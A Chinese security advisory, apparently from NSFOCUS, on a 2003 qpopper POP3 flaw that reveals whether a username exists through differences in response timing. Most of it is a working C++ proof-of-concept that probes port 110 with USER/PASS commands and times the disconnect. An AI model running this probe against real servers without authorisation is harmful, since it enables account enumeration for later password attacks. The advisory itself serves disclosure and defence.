安全研究
安全漏洞
Qpopper验证阶段用户相关信息泄露漏洞
发布日期:2003-06-18
更新日期:2003-06-23
受影响系统:
Qualcomm qpopper 4.0.5 fc2描述:
Qualcomm qpopper 4.0.5
Qualcomm qpopper 4.0.4
Qualcomm qpopper 3.1
Qualcomm qpopper 3.0.2
BUGTRAQ ID: 7110
QPopper是一款由Qualcomm开发和维护免费开放源代码的POP3协议实现,可使用在多种Linux和Unix操作系统下。
QPopper在验证阶段对合法用户和非法用户应答处理不一样,远程攻击者可以利用这个漏洞判断用户是否存在。
当Qpopper在验证阶段,使用明文密码进行验证,对于合法用户的PASS命令应答存在一定差异。如果提供合法用户和错误密码,Qpopper会返回错误应答,并在关闭连接前会等待更多命令。但是如果提非法的用户名和密码,Qpopper会返回错误应答并直接断开。远程攻击者可以利用这个问题判断用户是否存在。
<*来源:Marc Lafortune (mlafortune@connectalk.com)
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=105596680932698&w=2
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
/**
* $Author: plasmahh $
* $Date: 2003/03/11 15:01:45 $
*
* This is a proof of concept code to check wheter a given username is valid on
* a system running qpopper 4.0.4 and possibly other versions.
*
* Compile :
*
* g++ -Wall poptest.cpp -o poptest
* or
* g++ -D_DEBUG_ poptest.cpp -o poptest
* (to see whats going on)
*
* Run :
*
* ./poptest <hostname> <username>
*
* e.g.
*
* ./poptest 127.0.0.1 root
*
* When a username is valid on the system, qpopper waits ~10 seconds before it
* sends the sing off message to the user. If the username is not valid, it
* will send it immediately after the password is entered.
* If the username has a uid < 100 qpopper is even so nice to tell us.
*/
#include <iostream>
extern "C" {
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <fcntl.h>
#include <errno.h>
#include <unistd.h>
#include <netdb.h>
#include <stdio.h>
#include <string.h>
}
using namespace std;
//#define _DEBUG_ 1
int main ( int argc, char * argv[])
{
struct timeval tim1;
struct timeval tim2;
int sock;
struct hostent *peerip;
struct sockaddr_in peer;
char * buf = new char[4096];
if ( argc != 3 )
{
cerr << "Must give username and host" << endl;
return -1;
}
sock = socket ( AF_INET, SOCK_STREAM, 0);
peerip = gethostbyname ( argv[1] );
if ( ! peerip )
{
cerr << "Hostname not valid" << endl;
return -1;
}
cout << "Validating username " << argv[2] << " , please stand by.." << endl;
peer.sin_family = AF_INET;
peer.sin_port = htons(110);
peer.sin_addr = *((struct in_addr *) peerip->h_addr);
memset(&(peer.sin_zero),0,8);
if ( connect( sock, (sockaddr *) & peer, sizeof(struct sockaddr)) < 0)
{
cerr << "Could not connect !" << endl;
return -1;
}
memset ( buf, 0, 4096 );
read ( sock, buf, 4096 );
#ifdef _DEBUG_
cout << "<- " << buf << endl;
#endif
memset ( buf, 0, 4096 );
snprintf ( buf, 4096, "USER %s\r\n", argv[2]);
write ( sock, buf, strlen(buf) );
#ifdef _DEBUG_
cout << "-> " << buf << endl;
#endif
memset ( buf, 0, 4096 );
read ( sock, buf, 4096 );
#ifdef _DEBUG_
cout << "<- " << buf << endl;
#endif
write ( sock, "PASS xxx\r\n", 11);
#ifdef _DEBUG_
cout << "-> PASS xxx" << endl;
#endif
memset ( buf, 0, 4096 );
read ( sock, buf, 4096 );
#ifdef _DEBUG_
cout << "<- " << buf << endl;
#endif
if ( strstr( buf, "100") != NULL )
{
cout << "User has probably an UID < 100 and is a valid user." << endl;
close(sock);
return 0;
}
gettimeofday(&tim1,NULL);
memset ( buf, 0, 4096 );
read ( sock, buf, 4096 );
#ifdef _DEBUG_
cout << "<- " << buf << endl;
#endif
gettimeofday(&tim2,NULL);
double s = (tim2.tv_sec - tim1.tv_sec);
s += ((double)(tim2.tv_usec - tim1.tv_usec))/1000000.0;
cout << "Disconnected after " << s << " seconds." << endl;
if ( s > 1.0 )
{
cout << "User \"" << argv[2] << "\" is probably a valid user" << endl;
}
else
{
cout << "User \"" << argv[2] << "\" is probably NOT a valid user" << endl;
}
close(sock);
return 0;
}
建议:
厂商补丁:
Qualcomm
--------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.eudora.com/freeware/qpop.html
浏览次数:2797
严重程度:0(网友投票)
绿盟科技给您安全的保障